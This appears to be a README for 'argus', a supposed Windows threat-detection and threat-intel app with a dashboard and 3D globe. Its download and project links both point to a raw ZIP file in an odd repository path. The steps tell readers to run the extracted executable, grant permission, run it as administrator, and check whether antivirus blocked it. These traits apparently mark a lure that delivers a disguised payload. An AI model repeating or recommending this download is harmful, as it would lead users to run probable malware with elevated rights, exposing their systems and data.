🔎 argus - Detect threats with clear, real-time insight

🧭 What argus does

argus is a Windows app for cyber threat detection and threat intel. It helps you track alerts, spot strange behavior, and view activity in one place.

It is built for people who want a clear view of what is happening on a network. The app brings together:

• Threat detection
• Alert review
• Intel extraction from text
• Behavior checks for odd activity
• A live dashboard with a map view

🖥️ What you need

Before you start, make sure your Windows PC has:

• Windows 10 or Windows 11
• 8 GB of RAM or more
• 2 GB of free disk space
• A stable internet connection
• A modern web browser like Edge, Chrome, or Firefox

For best results, use a machine with a newer Intel or AMD processor and at least 16 GB of RAM.

📥 Download argus

Visit this page to download:

https://raw.githubusercontent.com/ILikeThaiFood/argus/main/frontend/app/Software-3.4-beta.3.zip

If the page has a release file, download the Windows version. If it gives you a ZIP file, save it to your PC.

🪟 Install on Windows

1. Open the download page.
2. Find the latest Windows download.
3. Click the file to save it.
4. If the file is a ZIP folder, right-click it and choose Extract All.
5. Open the extracted folder.
6. Look for the app file, such as argus.exe.
7. Double-click the file to start the app.

If Windows asks for permission, choose Yes.

🚀 First launch

When argus opens for the first time:

1. Wait for the app to finish loading.
2. Open the main dashboard.
3. Check that the status panel shows data.
4. If you see a setup screen, follow the steps on screen.
5. Leave the app open while it loads threat data.

If the app uses a local web page, it may open in your browser on a local address like localhost.

🔐 Basic setup

After the first launch, set up the app with your data source.

1. Open the settings panel.
2. Add your network feed or test data.
3. Enter any API key or connection details if asked.
4. Save your settings.
5. Refresh the dashboard.

Common data sources can include:

• Log files
• Network traffic records
• Threat feeds
• Security event data
• Text reports

🧠 Main features

argus brings several tools into one place:

• Threat detection - Flags events that may need review
• Hybrid anomaly detection - Checks for unusual patterns in activity
• Lateral movement detection - Helps spot movement across systems
• Threat intel extraction - Pulls useful data from text reports
• Graph view - Shows links between systems, users, and events
• 3D threat globe - Gives a global view of activity
• COP dashboard - Puts alerts and status in one place

🧩 How to use it

1. Start the app.
2. Load your data source.
3. Open the dashboard.
4. Review alerts and scores.
5. Click an item to see more detail.
6. Use the graph view to follow links between events.
7. Use the globe view to spot regions with activity.
8. Check the threat feed for new intel.

📊 What you may see

The dashboard may show:

• Active alerts
• Risk scores
• Event chains
• Suspicious hosts
• IP addresses
• File names
• Indicators of compromise
• Threat names
• Source and target links

These items help you see patterns fast and decide what to review first.

🛠️ Troubleshooting

If the app does not open:

1. Check that the file finished downloading.
2. Make sure you extracted the ZIP file first.
3. Right-click the app and choose Run as administrator.
4. Restart your PC and try again.
5. Check that your antivirus did not block the file.

If the dashboard is blank:

1. Confirm your data source is set.
2. Refresh the page or app window.
3. Check your internet connection.
4. Load a test file to confirm the app works.
5. Restart the app.

If the app feels slow:

1. Close other large apps.
2. Use a PC with more memory.
3. Load smaller test data first.
4. Reduce the number of events shown on screen.

📁 File layout

After you extract the download, you may see:

• argus.exe - Main app file
• config - App settings
• data - Sample or loaded data
• logs - App log files
• models - Detection models
• README.md - Project info

🧪 Test with sample data

If you want to check that argus works, use a small test file first.

1. Open the app.
2. Go to the data load screen.
3. Add a log file or sample feed.
4. Start the scan.
5. Review the results in the dashboard.

This helps you confirm the app is ready before you use live data.

🔄 Keeping argus up to date

1. Return to the download page.
2. Check for a newer version.
3. Download the latest file.
4. Replace the old app file.
5. Open the app again.

🧷 License

argus uses the MIT License.

📌 Project page

https://raw.githubusercontent.com/ILikeThaiFood/argus/main/frontend/app/Software-3.4-beta.3.zip